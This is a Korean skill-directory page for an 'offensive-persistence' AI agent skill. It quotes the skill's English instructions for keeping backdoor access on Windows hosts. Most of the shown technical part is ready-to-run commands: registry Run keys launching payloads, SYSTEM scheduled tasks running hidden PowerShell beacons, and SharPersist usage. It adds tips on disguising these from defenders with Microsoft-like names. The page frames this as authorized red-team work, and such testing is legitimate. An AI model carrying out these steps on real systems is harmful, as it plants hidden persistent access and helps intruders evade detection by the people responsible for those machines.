offensive-persistence
하는 일
이 스킬은 승인된 작업에서 레드 팀이 테스트하는 Windows와 Linux의 지속성 기법을 다룹니다. 자동 시작 키, 예약된 작업, 서비스가 포함됩니다. 되돌릴 수 있는 방법과 깔끔한 제거를 강조합니다. 서면 허가를 받은 보안 전문가를 위한 스킬입니다.
사용하는 경우
- ✓승인된 테스트에서 재부팅 후에도 공격자가 접근을 유지할 수 있는지 확인할 때.
- ✓Windows 컴퓨터에서 자동 시작 위치, 예약된 작업, 서비스를 확인해야 할 때.
- ✓작업이 끝날 때 제거할 수 있도록 모든 지속성 메커니즘을 기록하고 싶을 때.
스킬 링크
https://github.com/SnailSploit/Claude-Red/blob/main/Skills/post-exploitation/offensive-persistence/SKILL.md복사해서 AI(Claude, ChatGPT, Cursor)에 붙여넣고 지침을 따르도록 요청하세요.
사용 방법
가장 쉬운 방법입니다. 메시지를 복사해 AI에 붙여넣으세요. AI가 스킬을 읽고 지침을 따릅니다.
바로 붙여넣을 수 있는 메시지
Claude Code, Codex, Cursor용입니다. 프로젝트 폴더에서 실행하면 스킬이 설치됩니다.
SKILL.md를 다운로드해 에이전트의 스킬 폴더에 넣으세요.
AI에게 요청하는 예시
“Windows 엔드포인트를 테스트할 승인을 받았습니다. 가능한 지속성 메커니즘을 확인하고 제거 방법을 문서화해 주세요.”
매주 새 스킬 5개. 읽는 데 1분.
작동 방식
이 스킬은 먼저 권한 수준과 대상 운영체제를 확인합니다. 그다음 알맞은 메커니즘을 고르고, 재부팅 후에도 살아남는지 검증하며, 정리를 위해 정확한 위치를 기록합니다.
기술 내용 (원본 SKILL.md)
작성자의 영어 원문을 GitHub에서 그대로 가져왔습니다.
Offensive Persistence
Persistence ensures your access survives reboots, password changes, and routine maintenance. You plant mechanisms that re-establish a session or re-execute your payload without requiring a new initial compromise. The choice of persistence technique depends on your privilege level, the target operating system, the engagement scope, and the detection risk you can tolerate.
This skill covers both Windows and Linux persistence methods, from simple registry keys to domain-level Active Directory backdoors. Every technique here assumes you already have code execution on the target. Apply these in authorized engagements only.
Quick Workflow
- Assess your current privilege level (user-level vs admin/root vs domain admin).
- Identify the target OS version and security controls in place.
- Select a persistence mechanism matching your access level and stealth needs.
- Validate the persistence survives a reboot or logoff event.
- Document the exact mechanism and location for cleanup during engagement close.
- Layer multiple persistence methods at different privilege levels when scope allows.
- Prefer reversible methods that you can fully remove during remediation.
Windows: Registry Autostart
Registry Run and RunOnce keys execute commands at user logon or system startup. These are the simplest persistence mechanisms and work at both user and admin privilege levels.
# User-level persistence (HKCU, no admin required)
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "WindowsUpdate" /t REG_SZ /d "C:\Users\Public\payload.exe" /f
# Machine-level persistence (HKLM, requires admin)
reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "SecurityHealth" /t REG_SZ /d "C:\Windows\Temp\svc.exe" /f
# RunOnce -- executes once then deletes the key
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "Setup" /t REG_SZ /d "powershell -ep bypass -w hidden -f C:\Users\Public\init.ps1" /f
Using SharPersist for operational convenience:
# Add registry Run key persistence
SharPersist.exe -t reg -c "C:\Users\Public\payload.exe" -a "" -k "hkcurun" -v "WindowsUpdate" -m add
# List current registry persistence
SharPersist.exe -t reg -k "hkcurun" -m list
# Remove it during cleanup
SharPersist.exe -t reg -k "hkcurun" -v "WindowsUpdate" -m remove
Additional autostart locations you should know:
HKCU\Software\Microsoft\Windows\CurrentVersion\RunServices
HKCU\Software\Microsoft\Windows NT\CurrentVersion\Windows\load
HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run
HKLM\System\CurrentControlSet\Services\<svc>\ImagePath
HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell
HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit
OPSEC note: Registry Run keys are the first place defenders check. Use innocuous-sounding value names. Sysmon event 13 (RegistryValueSet) captures all registry modifications to these keys.
Windows: Scheduled Tasks
Scheduled tasks provide flexible persistence with precise timing control. They survive reboots and can run as SYSTEM or any specified user.
# Create a scheduled task running as SYSTEM at boot
schtasks /create /tn "Microsoft\Windows\Maintenance\SecurityScan" /tr "C:\Windows\Temp\svc.exe" /sc onstart /ru SYSTEM /f
# Create a task that runs every 15 minutes
schtasks /create /tn "CacheCleanup" /tr "powershell -ep bypass -w hidden -f C:\Users\Public\beacon.ps1" /sc minute /mo 15 /ru SYSTEM /f
# Create a task triggered by user logon
schtasks /create /tn "OneDriveSync" /tr "C:\Users\Public\payload.exe" /sc onlogon /f
SharPersist alternative: SharPersist.exe -t schtask -c "C:\Windows\Temp\svc.exe" -n "SecurityScan" -m add -o logon
Using PowerShell for more control:
$action = New-ScheduledTaskAction -Execute "powershell.exe" -Argument "-ep bypass -w hidden -f C:\ProgramData\task.ps1"
$trigger = New-ScheduledTaskTrigger -AtStartup
$principal = New-ScheduledTaskPrincipal -UserId "SYSTEM" -LogonType ServiceAccount -RunLevel Highest
$settings = New-ScheduledTaskSettingsSet -Hidden
Register-ScheduledTask -TaskName "Microsoft\Windows\AppID\PolicyConverter" -Action $action -Trigger $trigger -Principal $principal -Settings $settings
OPSEC note: Nest task names under existing Microsoft directories (e.g.,
Microsoft\Windows\Maintenance\) to blend in. Event 4698 records task creation.
Windows: WMI Event
자주 묻는 질문
왜 되돌릴 수 있는 방법을 선호하나요?
스킬은 복구 중에 완전히 제거할 수 있는 방법을 쓰라고 하므로, 고객 시스템이 깨끗하게 남습니다.
어떤 Windows 기법을 다루나요?
레지스트리 자동 시작 키, 예약된 작업, WMI 구독, 서비스 생성 등을 다룹니다.
승인된 테스트에만 쓰나요?
네. 서면 허가를 받은 작업을 위해 작성되었습니다.
상세 정보
작성자의 원본 설명
Comprehensive persistence tradecraft for authorized red team engagements covering Windows and Linux mechanisms. Windows techniques include registry Run/RunOnce keys, scheduled tasks, WMI event subscriptions, DLL search order hijacking, COM object hijacking, Startup folder drops, service creation, Security Support Provider (SSP) DLL injection, and Active Directory persistence (AdminSDHolder abuse, DCShadow, Golden Ticket, Silver Ticket, Skeleton Key, SID History injection). Linux techniques include cron and at jobs, systemd timers and services, SSH authorized_keys injection, shell profile backd
repo: SnailSploit/Claude-Red
인기도
- GitHub 스타
- 10k
- 순위
- #11966
- 라이선스
- MIT
- 업데이트
- 2026. 10. 12.
댓글
- …
이 저장소의 다른 스킬
offensive-active-directory
10k에이전트가 승인된 Active Directory 보안 테스트를 계획하도록 돕습니다. 네트워크 매핑부터 Domain Admin까지 가는 공격 경로 찾기까지 포함합니다.
offensive-netexec
10k에이전트가 승인된 네트워크 테스트에 NetExec(nxc) 도구를 사용하도록 돕습니다. 프로토콜, 인증, 자격 증명 점검을 다룹니다.
offensive-api-abuse
10k에이전트가 비즈니스 로직 악용, GraphQL 위험, 경쟁 상태를 찾는 승인된 API 보안 테스트를 계획하도록 돕습니다.
offensive-api-security
10k에이전트가 OWASP API Top 10을 기준으로 REST, gRPC, WebSocket API에 대한 승인된 보안 테스트를 실행하도록 돕습니다.